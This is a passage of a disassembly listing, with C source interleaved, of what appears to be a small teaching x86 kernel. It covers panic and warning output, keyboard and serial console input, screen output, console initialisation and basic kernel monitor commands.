00 cmpl $0x0,0xf01129a0 f01000f5: 75 37 jne f010012e <_panic+0x48> goto dead; panicstr = fmt; f01000f7: 89 35 a0 29 11 f0 mov %esi,0xf01129a0 // Be extra sure that the machine is in as reasonable state __asm __volatile("cli; cld"); f01000fd: fa cli f01000fe: fc cld va_start(ap, fmt); f01000ff: 8d 5d 14 lea 0x14(%ebp),%ebx cprintf("kernel panic at %s:%d: ", file, line); f0100102: 83 ec 04 sub $0x4,%esp f0100105: ff 75 0c pushl 0xc(%ebp) f0100108: ff 75 08 pushl 0x8(%ebp) f010010b: 68 12 1a 10 f0 push $0xf0101a12 f0100110: e8 56 09 00 00 call f0100a6b <cprintf> vcprintf(fmt, ap); f0100115: 83 c4 08 add $0x8,%esp f0100118: 53 push %ebx f0100119: 56 push %esi f010011a: e8 26 09 00 00 call f0100a45 <vcprintf> cprintf("\n"); f010011f: c7 04 24 4e 1a 10 f0 movl $0xf0101a4e,(%esp) f0100126: e8 40 09 00 00 call f0100a6b <cprintf> va_end(ap); f010012b: 83 c4 10 add $0x10,%esp dead: /* break into the kernel monitor */ while (1) monitor(NULL); f010012e: 83 ec 0c sub $0xc,%esp f0100131: 6a 00 push $0x0 f0100133: e8 4e 07 00 00 call f0100886 <monitor> f0100138: 83 c4 10 add $0x10,%esp f010013b: eb f1 jmp f010012e <_panic+0x48> f010013d <_warn>: } /* like panic, but don't */ void _warn(const char *file, int line, const char *fmt,...) { f010013d: 55 push %ebp f010013e: 89 e5 mov %esp,%ebp f0100140: 53 push %ebx f0100141: 83 ec 08 sub $0x8,%esp va_list ap; va_start(ap, fmt); f0100144: 8d 5d 14 lea 0x14(%ebp),%ebx cprintf("kernel warning at %s:%d: ", file, line); f0100147: ff 75 0c pushl 0xc(%ebp) f010014a: ff 75 08 pushl 0x8(%ebp) f010014d: 68 2a 1a 10 f0 push $0xf0101a2a f0100152: e8 14 09 00 00 call f0100a6b <cprintf> vcprintf(fmt, ap); f0100157: 83 c4 08 add $0x8,%esp f010015a: 53 push %ebx f010015b: ff 75 10 pushl 0x10(%ebp) f010015e: e8 e2 08 00 00 call f0100a45 <vcprintf> cprintf("\n"); f0100163: c7 04 24 4e 1a 10 f0 movl $0xf0101a4e,(%esp) f010016a: e8 fc 08 00 00 call f0100a6b <cprintf> va_end(ap); } f010016f: 83 c4 10 add $0x10,%esp f0100172: 8b 5d fc mov -0x4(%ebp),%ebx f0100175: c9 leave f0100176: c3 ret f0100177 <serial_proc_data>: static bool serial_exists; static int serial_proc_data(void) { f0100177: 55 push %ebp f0100178: 89 e5 mov %esp,%ebp static __inline uint8_t inb(int port) { uint8_t data; __asm __volatile("inb %w1,%0" : "=a" (data) : "d" (port)); f010017a: ba fd 03 00 00 mov $0x3fd,%edx f010017f: ec in (%dx),%al if (!(inb(COM1+COM_LSR) & COM_LSR_DATA)) f0100180: a8 01 test $0x1,%al f0100182: 74 0b je f010018f <serial_proc_data+0x18> f0100184: ba f8 03 00 00 mov $0x3f8,%edx f0100189: ec in (%dx),%al return -1; return inb(COM1+COM_RX); f010018a: 0f b6 c0 movzbl %al,%eax f010018d: eb 05 jmp f0100194 <serial_proc_data+0x1d> return -1; f010018f: b8 ff ff ff ff mov $0xffffffff,%eax } f0100194: 5d pop %ebp f0100195: c3 ret f0100196 <cons_intr>: // called by device interrupt routines to feed input characters // into the circular console input buffer. static void cons_intr(int (*proc)(void)) { f0100196: 55 push %ebp f0100197: 89 e5 mov %esp,%ebp f0100199: 53 push %ebx f010019a: 83 ec 04 sub $0x4,%esp f010019d: 89 c3 mov %eax,%ebx int c; while ((c = (*proc)()) != -1) { f010019f: eb 2b jmp f01001cc <cons_intr+0x36> if (c == 0) f01001a1: 85 c0 test %eax,%eax f01001a3: 74 27 je f01001cc <cons_intr+0x36> continue; cons.buf[cons.wpos++] = c; f01001a5: 8b 0d 84 25 11 f0 mov 0xf0112584,%ecx f01001ab: 8d 51 01 lea 0x1(%ecx),%edx f01001ae: 89 15 84 25 11 f0 mov %edx,0xf0112584 f01001b4: 88 81 80 23 11 f0 mov %al,-0xfeedc80(%ecx) if (cons.wpos == CONSBUFSIZE) f01001ba: 81 fa 00 02 00 00 cmp $0x200,%edx f01001c0: 75 0a jne f01001cc <cons_intr+0x36> cons.wpos = 0; f01001c2: c7 05 84 25 11 f0 00 movl $0x0,0xf0112584 f01001c9: 00 00 00 while ((c = (*proc)()) != -1) { f01001cc: ff d3 call *%ebx f01001ce: 83 f8 ff cmp $0xffffffff,%eax f01001d1: 75 ce jne f01001a1 <cons_intr+0xb> } } f01001d3: 83 c4 04 add $0x4,%esp f01001d6: 5b pop %ebx f01001d7: 5d pop %ebp f01001d8: c3 ret f01001d9 <kbd_proc_data>: f01001d9: ba 64 00 00 00 mov $0x64,%edx f01001de: ec in (%dx),%al if ((inb(KBSTATP) & KBS_DIB) == 0) f01001df: a8 01 test $0x1,%al f01001e1: 0f 84 f0 00 00 00 je f01002d7 <kbd_proc_data+0xfe> f01001e7: ba 60 00 00 00 mov $0x60,%edx f01001ec: ec in (%dx),%al f01001ed: 89 c2 mov %eax,%edx if (data == 0xE0) { f01001ef: 3c e0 cmp $0xe0,%al f01001f1: 75 0d jne f0100200 <kbd_proc_data+0x27> shift |= E0ESC; f01001f3: 83 0d 60 23 11 f0 40 orl $0x40,0xf0112360 return 0; f01001fa: b8 00 00 00 00 mov $0x0,%eax } f01001ff: c3 ret { f0100200: 55 push %ebp f0100201: 89 e5 mov %esp,%ebp f0100203: 53 push %ebx f0100204: 83 ec 04 sub $0x4,%esp } else if (data & 0x80) { f0100207: 84 c0 test %al,%al f0100209: 79 36 jns f0100241 <kbd_proc_data+0x68> data = (shift & E0ESC ? data : data & 0x7F); f010020b: 8b 0d 60 23 11 f0 mov 0xf0112360,%ecx f0100211: 89 cb mov %ecx,%ebx f0100213: 83 e3 40 and $0x40,%ebx f0100216: 83 e0 7f and $0x7f,%eax f0100219: 85 db test %ebx,%ebx f010021b: 0f 44 d0 cmove %eax,%edx shift &= ~(shiftcode[data] | E0ESC); f010021e: 0f b6 d2 movzbl %dl,%edx f0100221: 0f b6 82 a0 1b 10 f0 movzbl -0xfefe460(%edx),%eax f0100228: 83 c8 40 or $0x40,%eax f010022b: 0f b6 c0 movzbl %al,%eax f010022e: f7 d0 not %eax f0100230: 21 c8 and %ecx,%eax f0100232: a3 60 23 11 f0 mov %eax,0xf0112360 return 0; f0100237: b8 00 00 00 00 mov $0x0,%eax f010023c: e9 9e 00 00 00 jmp f01002df <kbd_proc_data+0x106> } else if (shift & E0ESC) { f0100241: 8b 0d 60 23 11 f0 mov 0xf0112360,%ecx f0100247: f6 c1 40 test $0x40,%cl f010024a: 74 0e je f010025a <kbd_proc_data+0x81> data |= 0x80; f010024c: 83 c8 80 or $0xffffff80,%eax f010024f: 89 c2 mov %eax,%edx shift &= ~E0ESC; f0100251: 83 e1 bf and $0xffffffbf,%ecx f0100254: 89 0d 60 23 11 f0 mov %ecx,0xf0112360 shift |= shiftcode[data]; f010025a: 0f b6 d2 movzbl %dl,%edx shift ^= togglecode[data]; f010025d: 0f b6 82 a0 1b 10 f0 movzbl -0xfefe460(%edx),%eax f0100264: 0b 05 60 23 11 f0 or 0xf0112360,%eax f010026a: 0f b6 8a a0 1a 10 f0 movzbl -0xfefe560(%edx),%ecx f0100271: 31 c8 xor %ecx,%eax f0100273: a3 60 23 11 f0 mov %eax,0xf0112360 c = charcode[shift & (CTL | SHIFT)][data]; f0100278: 89 c1 mov %eax,%ecx f010027a: 83 e1 03 and $0x3,%ecx f010027d: 8b 0c 8d 80 1a 10 f0 mov -0xfefe580(,%ecx,4),%ecx f0100284: 0f b6 14 11 movzbl (%ecx,%edx,1),%edx f0100288: 0f b6 da movzbl %dl,%ebx if (shift & CAPSLOCK) { f010028b: a8 08 test $0x8,%al f010028d: 74 1b je f01002aa <kbd_proc_data+0xd1> if ('a' <= c && c <= 'z') f010028f: 89 da mov %ebx,%edx f0100291: 8d 4b 9f lea -0x61(%ebx),%ecx f0100294: 83 f9 19 cmp $0x19,%ecx f0100297: 77 05 ja f010029e <kbd_proc_data+0xc5> c += 'A' - 'a'; f0100299: 83 eb 20 sub $0x20,%ebx f010029c: eb 0c jmp f01002aa <kbd_proc_data+0xd1> else if ('A' <= c && c <= 'Z') f010029e: 83 ea 41 sub $0x41,%edx c += 'a' - 'A'; f01002a1: 8d 4b 20 lea 0x20(%ebx),%ecx f01002a4: 83 fa 19 cmp $0x19,%edx f01002a7: 0f 46 d9 cmovbe %ecx,%ebx if (!(~shift & (CTL | ALT)) && c == KEY_DEL) { f01002aa: f7 d0 not %eax f01002ac: a8 06 test $0x6,%al f01002ae: 75 2d jne f01002dd <kbd_proc_data+0x104> f01002b0: 81 fb e9 00 00 00 cmp $0xe9,%ebx f01002b6: 75 25 jne f01002dd <kbd_proc_data+0x104> cprintf("Rebooting!\n"); f01002b8: 83 ec 0c sub $0xc,%esp f01002bb: 68 44 1a 10 f0 push $0xf0101a44 f01002c0: e8 a6 07 00 00 call f0100a6b <cprintf> } static __inline void outb(int port, uint8_t data) { __asm __volatile("outb %0,%w1" : : "a" (data), "d" (port)); f01002c5: ba 92 00 00 00 mov $0x92,%edx f01002ca: b8 03 00 00 00 mov $0x3,%eax f01002cf: ee out %al,(%dx) f01002d0: 83 c4 10 add $0x10,%esp return c; f01002d3: 89 d8 mov %ebx,%eax f01002d5: eb 08 jmp f01002df <kbd_proc_data+0x106> return -1; f01002d7: b8 ff ff ff ff mov $0xffffffff,%eax f01002dc: c3 ret return c; f01002dd: 89 d8 mov %ebx,%eax } f01002df: 8b 5d fc mov -0x4(%ebp),%ebx f01002e2: c9 leave f01002e3: c3 ret f01002e4 <cons_putc>: } // output a character to the console static void cons_putc(int c) { f01002e4: 55 push %ebp f01002e5: 89 e5 mov %esp,%ebp f01002e7: 57 push %edi f01002e8: 56 push %esi f01002e9: 53 push %ebx f01002ea: 83 ec 0c sub $0xc,%esp f01002ed: 89 c6 mov %eax,%esi for (i = 0; f01002ef: bb 00 00 00 00 mov $0x0,%ebx __asm __volatile("inb %w1,%0" : "=a" (data) : "d" (port)); f01002f4: bf fd 03 00 00 mov $0x3fd,%edi f01002f9: b9 84 00 00 00 mov $0x84,%ecx f01002fe: eb 09 jmp f0100309 <cons_putc+0x25> f0100300: 89 ca mov %ecx,%edx f0100302: ec in (%dx),%al f0100303: ec in (%dx),%al f0100304: ec in (%dx),%al f0100305: ec in (%dx),%al i++) f0100306: 83 c3 01 add $0x1,%ebx f0100309: 89 fa mov %edi,%edx f010030b: ec in (%dx),%al !(inb(COM1 + COM_LSR) & COM_LSR_TXRDY) && i < 12800; f010030c: a8 20 test $0x20,%al f010030e: 75 08 jne f0100318 <cons_putc+0x34> f0100310: 81 fb ff 31 00 00 cmp $0x31ff,%ebx f0100316: 7e e8 jle f0100300 <cons_putc+0x1c> __asm __volatile("outb %0,%w1" : : "a" (data), "d" (port)); f0100318: ba f8 03 00 00 mov $0x3f8,%edx f010031d: 89 f0 mov %esi,%eax f010031f: ee out %al,(%dx) for (i = 0; !(inb(0x378+1) & 0x80) && i < 12800; i++) f0100320: bb 00 00 00 00 mov $0x0,%ebx __asm __volatile("inb %w1,%0" : "=a" (data) : "d" (port)); f0100325: bf 79 03 00 00 mov $0x379,%edi f010032a: b9 84 00 00 00 mov $0x84,%ecx f010032f: eb 09 jmp f010033a <cons_putc+0x56> f0100331: 89 ca mov %ecx,%edx f0100333: ec in (%dx),%al f0100334: ec in (%dx),%al f0100335: ec in (%dx),%al f0100336: ec in (%dx),%al f0100337: 83 c3 01 add $0x1,%ebx f010033a: 89 fa mov %edi,%edx f010033c: ec in (%dx),%al f010033d: 81 fb ff 31 00 00 cmp $0x31ff,%ebx f0100343: 7f 04 jg f0100349 <cons_putc+0x65> f0100345: 84 c0 test %al,%al f0100347: 79 e8 jns f0100331 <cons_putc+0x4d> __asm __volatile("outb %0,%w1" : : "a" (data), "d" (port)); f0100349: ba 78 03 00 00 mov $0x378,%edx f010034e: 89 f0 mov %esi,%eax f0100350: ee out %al,(%dx) f0100351: ba 7a 03 00 00 mov $0x37a,%edx f0100356: b8 0d 00 00 00 mov $0xd,%eax f010035b: ee out %al,(%dx) f010035c: b8 08 00 00 00 mov $0x8,%eax f0100361: ee out %al,(%dx) c |= textcolor; f0100362: 0b 35 a4 29 11 f0 or 0xf01129a4,%esi f0100368: 89 f2 mov %esi,%edx switch (c & 0xff) { f010036a: 0f b6 c2 movzbl %dl,%eax f010036d: 83 f8 09 cmp $0x9,%eax f0100370: 74 71 je f01003e3 <cons_putc+0xff> f0100372: 83 f8 09 cmp $0x9,%eax f0100375: 7f 0a jg f0100381 <cons_putc+0x9d> f0100377: 83 f8 08 cmp $0x8,%eax f010037a: 74 14 je f0100390 <cons_putc+0xac> f010037c: e9 96 00 00 00 jmp f0100417 <cons_putc+0x133> f0100381: 83 f8 0a cmp $0xa,%eax f0100384: 74 37 je f01003bd <cons_putc+0xd9> f0100386: 83 f8 0d cmp $0xd,%eax f0100389: 74 3a je f01003c5 <cons_putc+0xe1> f010038b: e9 87 00 00 00 jmp f0100417 <cons_putc+0x133> if (crt_pos > 0) { f0100390: 0f b7 05 88 25 11 f0 movzwl 0xf0112588,%eax f0100397: 66 85 c0 test %ax,%ax f010039a: 0f 84 e3 00 00 00 je f0100483 <cons_putc+0x19f> crt_pos--; f01003a0: 83 e8 01 sub $0x1,%eax f01003a3: 66 a3 88 25 11 f0 mov %ax,0xf0112588 crt_buf[crt_pos] = (c & ~0xff) | ' '; f01003a9: 0f b7 c0 movzwl %ax,%eax f01003ac: b2 00 mov $0x0,%dl f01003ae: 83 ca 20 or $0x20,%edx f01003b1: 8b 0d 8c 25 11 f0 mov 0xf011258c,%ecx f01003b7: 66 89 14 41 mov %dx,(%ecx,%eax,2) f01003bb: eb 78 jmp f0100435 <cons_putc+0x151> crt_pos += CRT_COLS; f01003bd: 66 83 05 88 25 11 f0 addw $0x50,0xf0112588 f01003c4: 50 crt_pos -= (crt_pos % CRT_COLS); f01003c5: 0f b7 05 88 25 11 f0 movzwl 0xf0112588,%eax f01003cc: 69 c0 cd cc 00 00 imul $0xcccd,%eax,%eax f01003d2: c1 e8 16 shr $0x16,%eax f01003d5: 8d 04 80 lea (%eax,%eax,4),%eax f01003d8: c1 e0 04 shl $0x4,%eax f01003db: 66 a3 88 25 11 f0 mov %ax,0xf0112588 f01003e1: eb 52 jmp f0100435 <cons_putc+0x151> cons_putc(' '); f01003e3: b8 20 00 00 00 mov $0x20,%eax f01003e8: e8 f7 fe ff ff call f01002e4 <cons_putc> cons_putc(' '); f01003ed: b8 20 00 00 00 mov $0x20,%eax f01003f2: e8 ed fe ff ff call f01002e4 <cons_putc> cons_putc(' '); f01003f7: b8 20 00 00 00 mov $0x20,%eax f01003fc: e8 e3 fe ff ff call f01002e4 <cons_putc> cons_putc(' '); f0100401: b8 20 00 00 00 mov $0x20,%eax f0100406: e8 d9 fe ff ff call f01002e4 <cons_putc> cons_putc(' '); f010040b: b8 20 00 00 00 mov $0x20,%eax f0100410: e8 cf fe ff ff call f01002e4 <cons_putc> f0100415: eb 1e jmp f0100435 <cons_putc+0x151> crt_buf[crt_pos++] = c; /* write the character */ f0100417: 0f b7 05 88 25 11 f0 movzwl 0xf0112588,%eax f010041e: 8d 48 01 lea 0x1(%eax),%ecx f0100421: 66 89 0d 88 25 11 f0 mov %cx,0xf0112588 f0100428: 0f b7 c0 movzwl %ax,%eax f010042b: 8b 0d 8c 25 11 f0 mov 0xf011258c,%ecx f0100431: 66 89 14 41 mov %dx,(%ecx,%eax,2) if (crt_pos >= CRT_SIZE) { f0100435: 66 81 3d 88 25 11 f0 cmpw $0x7cf,0xf0112588 f010043c: cf 07 f010043e: 76 43 jbe f0100483 <cons_putc+0x19f> memmove(crt_buf, crt_buf + CRT_COLS, (CRT_SIZE - CRT_COLS) * sizeof(uint16_t)); f0100440: a1 8c 25 11 f0 mov 0xf011258c,%eax f0100445: 83 ec 04 sub $0x4,%esp f0100448: 68 00 0f 00 00 push $0xf00 f010044d: 8d 90 a0 00 00 00 lea 0xa0(%eax),%edx f0100453: 52 push %edx f0100454: 50 push %eax f0100455: e8 4d 11 00 00 call f01015a7 <memmove> crt_buf[i] = 0x0700 | ' '; f010045a: 8b 15 8c 25 11 f0 mov 0xf011258c,%edx f0100460: 8d 82 00 0f 00 00 lea 0xf00(%edx),%eax f0100466: 81 c2 a0 0f 00 00 add $0xfa0,%edx f010046c: 83 c4 10 add $0x10,%esp f010046f: 66 c7 00 20 07 movw $0x720,(%eax) f0100474: 83 c0 02 add $0x2,%eax for (i = CRT_SIZE - CRT_COLS; i < CRT_SIZE; i++) f0100477: 39 d0 cmp %edx,%eax f0100479: 75 f4 jne f010046f <cons_putc+0x18b> crt_pos -= CRT_COLS; f010047b: 66 83 2d 88 25 11 f0 subw $0x50,0xf0112588 f0100482: 50 outb(addr_6845, 14); f0100483: 8b 0d 90 25 11 f0 mov 0xf0112590,%ecx f0100489: b8 0e 00 00 00 mov $0xe,%eax f010048e: 89 ca mov %ecx,%edx f0100490: ee out %al,(%dx) outb(addr_6845 + 1, crt_pos >> 8); f0100491: 0f b7 1d 88 25 11 f0 movzwl 0xf0112588,%ebx f0100498: 8d 71 01 lea 0x1(%ecx),%esi f010049b: 89 d8 mov %ebx,%eax f010049d: 66 c1 e8 08 shr $0x8,%ax f01004a1: 89 f2 mov %esi,%edx f01004a3: ee out %al,(%dx) f01004a4: b8 0f 00 00 00 mov $0xf,%eax f01004a9: 89 ca mov %ecx,%edx f01004ab: ee out %al,(%dx) f01004ac: 89 d8 mov %ebx,%eax f01004ae: 89 f2 mov %esi,%edx f01004b0: ee out %al,(%dx) serial_putc(c); lpt_putc(c); cga_putc(c); } f01004b1: 8d 65 f4 lea -0xc(%ebp),%esp f01004b4: 5b pop %ebx f01004b5: 5e pop %esi f01004b6: 5f pop %edi f01004b7: 5d pop %ebp f01004b8: c3 ret f01004b9 <serial_intr>: if (serial_exists) f01004b9: 80 3d 94 25 11 f0 00 cmpb $0x0,0xf0112594 f01004c0: 74 11 je f01004d3 <serial_intr+0x1a> { f01004c2: 55 push %ebp f01004c3: 89 e5 mov %esp,%ebp f01004c5: 83 ec 08 sub $0x8,%esp cons_intr(serial_proc_data); f01004c8: b8 77 01 10 f0 mov $0xf0100177,%eax f01004cd: e8 c4 fc ff ff call f0100196 <cons_intr> } f01004d2: c9 leave f01004d3: f3 c3 repz ret f01004d5 <kbd_intr>: { f01004d5: 55 push %ebp f01004d6: 89 e5 mov %esp,%ebp f01004d8: 83 ec 08 sub $0x8,%esp cons_intr(kbd_proc_data); f01004db: b8 d9 01 10 f0 mov $0xf01001d9,%eax f01004e0: e8 b1 fc ff ff call f0100196 <cons_intr> } f01004e5: c9 leave f01004e6: c3 ret f01004e7 <cons_getc>: { f01004e7: 55 push %ebp f01004e8: 89 e5 mov %esp,%ebp f01004ea: 83 ec 08 sub $0x8,%esp serial_intr(); f01004ed: e8 c7 ff ff ff call f01004b9 <serial_intr> kbd_intr(); f01004f2: e8 de ff ff ff call f01004d5 <kbd_intr> if (cons.rpos != cons.wpos) { f01004f7: a1 80 25 11 f0 mov 0xf0112580,%eax f01004fc: 3b 05 84 25 11 f0 cmp 0xf0112584,%eax f0100502: 74 26 je f010052a <cons_getc+0x43> c = cons.buf[cons.rpos++]; f0100504: 8d 50 01 lea 0x1(%eax),%edx f0100507: 89 15 80 25 11 f0 mov %edx,0xf0112580 f010050d: 0f b6 88 80 23 11 f0 movzbl -0xfeedc80(%eax),%ecx return c; f0100514: 89 c8 mov %ecx,%eax if (cons.rpos == CONSBUFSIZE) f0100516: 81 fa 00 02 00 00 cmp $0x200,%edx f010051c: 75 11 jne f010052f <cons_getc+0x48> cons.rpos = 0; f010051e: c7 05 80 25 11 f0 00 movl $0x0,0xf0112580 f0100525: 00 00 00 f0100528: eb 05 jmp f010052f <cons_getc+0x48> return 0; f010052a: b8 00 00 00 00 mov $0x0,%eax } f010052f: c9 leave f0100530: c3 ret f0100531 <cons_init>: // initialize the console devices void cons_init(void) { f0100531: 55 push %ebp f0100532: 89 e5 mov %esp,%ebp f0100534: 57 push %edi f0100535: 56 push %esi f0100536: 53 push %ebx f0100537: 83 ec 0c sub $0xc,%esp was = *cp; f010053a: 0f b7 15 00 80 0b f0 movzwl 0xf00b8000,%edx *cp = (uint16_t) 0xA55A; f0100541: 66 c7 05 00 80 0b f0 movw $0xa55a,0xf00b8000 f0100548: 5a a5 if (*cp != 0xA55A) { f010054a: 0f b7 05 00 80 0b f0 movzwl 0xf00b8000,%eax f0100551: 66 3d 5a a5 cmp $0xa55a,%ax f0100555: 74 11 je f0100568 <cons_init+0x37> addr_6845 = MONO_BASE; f0100557: c7 05 90 25 11 f0 b4 movl $0x3b4,0xf0112590 f010055e: 03 00 00 cp = (uint16_t*) (KERNBASE + MONO_BUF); f0100561: be 00 00 0b f0 mov $0xf00b0000,%esi f0100566: eb 16 jmp f010057e <cons_init+0x4d> *cp = was; f0100568: 66 89 15 00 80 0b f0 mov %dx,0xf00b8000 addr_6845 = CGA_BASE; f010056f: c7 05 90 25 11 f0 d4 movl $0x3d4,0xf0112590 f0100576: 03 00 00 cp = (uint16_t*) (KERNBASE + CGA_BUF); f0100579: be 00 80 0b f0 mov $0xf00b8000,%esi outb(addr_6845, 14); f010057e: 8b 3d 90 25 11 f0 mov 0xf0112590,%edi f0100584: b8 0e 00 00 00 mov $0xe,%eax f0100589: 89 fa mov %edi,%edx f010058b: ee out %al,(%dx) pos = inb(addr_6845 + 1) << 8; f010058c: 8d 5f 01 lea 0x1(%edi),%ebx __asm __volatile("inb %w1,%0" : "=a" (data) : "d" (port)); f010058f: 89 da mov %ebx,%edx f0100591: ec in (%dx),%al f0100592: 0f b6 c8 movzbl %al,%ecx f0100595: c1 e1 08 shl $0x8,%ecx __asm __volatile("outb %0,%w1" : : "a" (data), "d" (port)); f0100598: b8 0f 00 00 00 mov $0xf,%eax f010059d: 89 fa mov %edi,%edx f010059f: ee out %al,(%dx) __asm __volatile("inb %w1,%0" : "=a" (data) : "d" (port)); f01005a0: 89 da mov %ebx,%edx f01005a2: ec in (%dx),%al crt_buf = (uint16_t*) cp; f01005a3: 89 35 8c 25 11 f0 mov %esi,0xf011258c crt_pos = pos; f01005a9: 0f b6 c0 movzbl %al,%eax f01005ac: 09 c8 or %ecx,%eax f01005ae: 66 a3 88 25 11 f0 mov %ax,0xf0112588 __asm __volatile("outb %0,%w1" : : "a" (data), "d" (port)); f01005b4: be fa 03 00 00 mov $0x3fa,%esi f01005b9: b8 00 00 00 00 mov $0x0,%eax f01005be: 89 f2 mov %esi,%edx f01005c0: ee out %al,(%dx) f01005c1: ba fb 03 00 00 mov $0x3fb,%edx f01005c6: b8 80 ff ff ff mov $0xffffff80,%eax f01005cb: ee out %al,(%dx) f01005cc: bb f8 03 00 00 mov $0x3f8,%ebx f01005d1: b8 0c 00 00 00 mov $0xc,%eax f01005d6: 89 da mov %ebx,%edx f01005d8: ee out %al,(%dx) f01005d9: ba f9 03 00 00 mov $0x3f9,%edx f01005de: b8 00 00 00 00 mov $0x0,%eax f01005e3: ee out %al,(%dx) f01005e4: ba fb 03 00 00 mov $0x3fb,%edx f01005e9: b8 03 00 00 00 mov $0x3,%eax f01005ee: ee out %al,(%dx) f01005ef: ba fc 03 00 00 mov $0x3fc,%edx f01005f4: b8 00 00 00 00 mov $0x0,%eax f01005f9: ee out %al,(%dx) f01005fa: ba f9 03 00 00 mov $0x3f9,%edx f01005ff: b8 01 00 00 00 mov $0x1,%eax f0100604: ee out %al,(%dx) __asm __volatile("inb %w1,%0" : "=a" (data) : "d" (port)); f0100605: ba fd 03 00 00 mov $0x3fd,%edx f010060a: ec in (%dx),%al f010060b: 89 c1 mov %eax,%ecx serial_exists = (inb(COM1+COM_LSR) != 0xFF); f010060d: 3c ff cmp $0xff,%al f010060f: 0f 95 05 94 25 11 f0 setne 0xf0112594 f0100616: 89 f2 mov %esi,%edx f0100618: ec in (%dx),%al f0100619: 89 da mov %ebx,%edx f010061b: ec in (%dx),%al cga_init(); kbd_init(); serial_init(); if (!serial_exists) f010061c: 80 f9 ff cmp $0xff,%cl f010061f: 75 10 jne f0100631 <cons_init+0x100> cprintf("Serial port does not exist!\n"); f0100621: 83 ec 0c sub $0xc,%esp f0100624: 68 50 1a 10 f0 push $0xf0101a50 f0100629: e8 3d 04 00 00 call f0100a6b <cprintf> f010062e: 83 c4 10 add $0x10,%esp } f0100631: 8d 65 f4 lea -0xc(%ebp),%esp f0100634: 5b pop %ebx f0100635: 5e pop %esi f0100636: 5f pop %edi f0100637: 5d pop %ebp f0100638: c3 ret f0100639 <cputchar>: // `High'-level console I/O. Used by readline and cprintf. void cputchar(int c) { f0100639: 55 push %ebp f010063a: 89 e5 mov %esp,%ebp f010063c: 83 ec 08 sub $0x8,%esp cons_putc(c); f010063f: 8b 45 08 mov 0x8(%ebp),%eax f0100642: e8 9d fc ff ff call f01002e4 <cons_putc> } f0100647: c9 leave f0100648: c3 ret f0100649 <getchar>: int getchar(void) { f0100649: 55 push %ebp f010064a: 89 e5 mov %esp,%ebp f010064c: 83 ec 08 sub $0x8,%esp int c; while ((c = cons_getc()) == 0) f010064f: e8 93 fe ff ff call f01004e7 <cons_getc> f0100654: 85 c0 test %eax,%eax f0100656: 74 f7 je f010064f <getchar+0x6> /* do nothing */; return c; } f0100658: c9 leave f0100659: c3 ret f010065a <iscons>: int iscons(int fdnum) { f010065a: 55 push %ebp f010065b: 89 e5 mov %esp,%ebp // used by readline return 1; } f010065d: b8 01 00 00 00 mov $0x1,%eax f0100662: 5d pop %ebp f0100663: c3 ret f0100664 <mon_help>: /***** Implementations of basic kernel monitor commands *****/ int mon_help(int argc, char **argv, struct Trapframe *tf) { f0100664: f3 0f 1e fb endbr32 f0100668: 55 push %ebp f0100669: 89 e5 mov %esp,%ebp f010066b: 56 push %esi f010066c: 53 push %ebx f010066d: e8 bc 03 00 00 call f0100a2e <__x86.get_pc_thunk.bx> f0100672: 81 c3 92 1c 01 00 add $0x11c92,%ebx int i; for (i = 0; i < NCOMMANDS; i++) cprintf("%s - %s\n", commands[i].name, commands[i].desc); f0100678: 83 ec 04 sub $0x4,%esp f010067b: 8d 83 9c f9 fe ff lea -0x10664(%ebx),%eax f0100681: 50 push %eax f0100682: 8d 83 ba f9 fe ff lea -0x10646(%ebx),%eax f0100688: 50 push %eax f0100689: 8d b3 bf f9 fe ff lea -0x10641(%ebx),%esi f010068f: 56 push %esi f0100690: e8 d6 03 00 00 call f0100a6b <cprintf> f0100695: 83 c4 0c add $0xc,%esp f0100698: 8d 83 90 fa fe ff lea -0x10570(%ebx),%eax f010069e: 50 push %eax f010069f: 8d 83 c8 f9 fe ff lea -0x10638(%ebx),%eax f01006a5: 50 push %eax f01006a6: 56 push %esi f01006a7: e8 bf 03 00 00 call f0100a6b <cprintf> f01006ac: 83 c4 0c add $0xc,%esp f01006af: 8d 83 b8 fa fe ff lea -0x10548(%ebx),%eax f01006b5: 50 push %eax f01006b6: 8d 83 d1 f9 fe ff lea -0x1062f(%ebx),%eax f01006bc: 50 push %eax f01006bd: 56 push %esi f01006be: e8 a8 03 00 00 call f0100a6b <cprintf> return 0; } f01006c3: b8 00 00 00 00 mov $0x0,%eax f01006c8: 8d 65 f8 lea -0x8(%ebp),%esp f01006cb: 5b pop %ebx f01006cc: 5e pop %esi f01006cd: 5d pop %ebp f01006ce: c3 ret f01006cf <mon_kerninfo>: int mon_kerninfo(int argc, char **argv, struct Trapframe *tf) { f01006cf: f3 0f 1e fb endbr32 f01006d3: 55 push %ebp f01006d4: 89 e5 mov %esp,%ebp f01006d6: 57 push %edi f01006d7: 56 push %esi f01006d8: 53 push %ebx f01006d9: 83 ec 18 sub $0x18,%esp f01006dc: e8 4d 03 00 00 call f0100a2e <__x86.get_pc_thunk.bx> f01006e1: 81 c3 23 1c 01 00 add $0x11c23,%ebx extern char _start[], entry[], etext[], edata[], end[]; cprintf("Special kernel symbols:\n"); f01006e7: 8d 83 db f9 fe ff lea -0x10625(%ebx),%eax f01006ed: 50 push %eax f01006ee: e8 78 03 00 00 call f0100a6b <cprintf> cprintf(" _start %08x (phys)\n", _start); f01006f3: 83 c4 08 add $0x8,%esp f01006f6: ff b3 fc ff ff ff pushl -0x4(%ebx) f01006fc: 8d 83 20 fb fe ff lea -0x104e0(%ebx),%eax f0100702: 50 push %eax f0100703: e8 63 03 00 00 call f0100a6b <cprintf> cprintf(" entry %08x (virt) %08x (phys)\n", entry, entry - KERNBASE); f0100708: 83 c4 0c add $0xc,%esp f010070b: c7 c7 0c 00 10 f0 mov $0xf010000c,%edi f0100711: 8d 87 00 00 00 10 lea 0x10000000(%edi),%eax f0100717: 50 push %eax f0100718: 57 push %edi f0100719: 8d 83 48 fb fe ff lea -0x104b8(%ebx),%eax f010071f: 50 push %eax f0100720: e8 46 03 00 00 call f0100a6b <cprintf> cprintf(" etext %08x (virt) %08x (phys)\n", etext, etext - KERNBASE); f0100725: 83 c4 0c add $0xc,%esp f0100728: c7 c0 bd 19 10 f0 mov $0xf01019bd,%eax f010072e: 8d 90 00 00 00 10 lea 0x10000000(%eax),%edx f0100734: 52 push %edx f0100735: 50 push %eax f0100736: 8d 83 6c fb fe ff lea -0x10494(%ebx),%eax f010073c: 50 push %eax f010073d: e8 29 03 00 00 call f0100a6b <cprintf> cprintf(" edata %08x (virt) %08x (phys)\n", edata, edata - KERNBASE); f0100742: 83 c4 0c add $0xc,%esp f0100745: c7 c0 00 23 11 f0 mov $0xf0112300,%eax f010074b: 8d 90 00 00 00 